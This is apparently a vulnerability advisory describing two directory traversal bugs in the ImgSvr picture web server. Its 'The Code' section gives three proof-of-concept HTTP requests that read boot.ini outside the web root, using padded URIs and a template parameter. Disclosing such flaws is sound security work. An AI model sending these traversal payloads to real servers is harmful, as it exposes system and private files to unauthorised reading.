===============
1) Introduction
===============


>>From developer's website:
"ImgSvr is a personal or corporate Embedded Picture Web Server that
let's you efficiently browse digital pictures. Contrary to other
gallery systems, imgsvr aimed to be an easy and fully dynamic picture
server, no static created thumbnails are created."

2) Bug
======


A directory traversal vulnerability can be exploited through the usage
of additional chars before the URI.
In my tests was good any byte except NULL, line feed, ?, :, slash and
backslash (so an amount of valid chars between 248 and 251 depending by
the location of the char and if has been used the hex format).

A secondary type of directory traversal is exploitable through the
template parameter.

If the root directory of the server is protected by authentication, the
attacker must know the right username and password.

3) The Code
===========


GET hello../../../../../boot.ini HTTP/1.0

GET anything_you_want../..%2f../%2e.%5c..%5cboot.ini HTTP/1.0

http://SERVER:1235/?template=..\..\..\..\boot.ini

4) Fix

The problems will be fixed in the next version.
